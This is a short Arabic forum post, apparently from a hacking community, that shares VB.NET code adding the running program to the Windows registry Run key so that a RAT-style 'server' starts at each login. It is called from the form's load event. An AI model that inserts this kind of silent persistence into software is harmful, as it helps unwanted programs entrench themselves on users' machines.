[SC] Copies of the Server to StartUp [VB.NET]
[SC] Copies of the Server to StartUp [VB.NET]
السلام عليكم ورحمة الله وبركاته
كود:
Public Shared Sub AStartup(ByVal Name As String, ByVal Path As String)
Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
[ الاستدعاء ] ضع هذا الكود في الفورم لود.
كود:
AStartup(Me.Text, Application.ExecutablePath)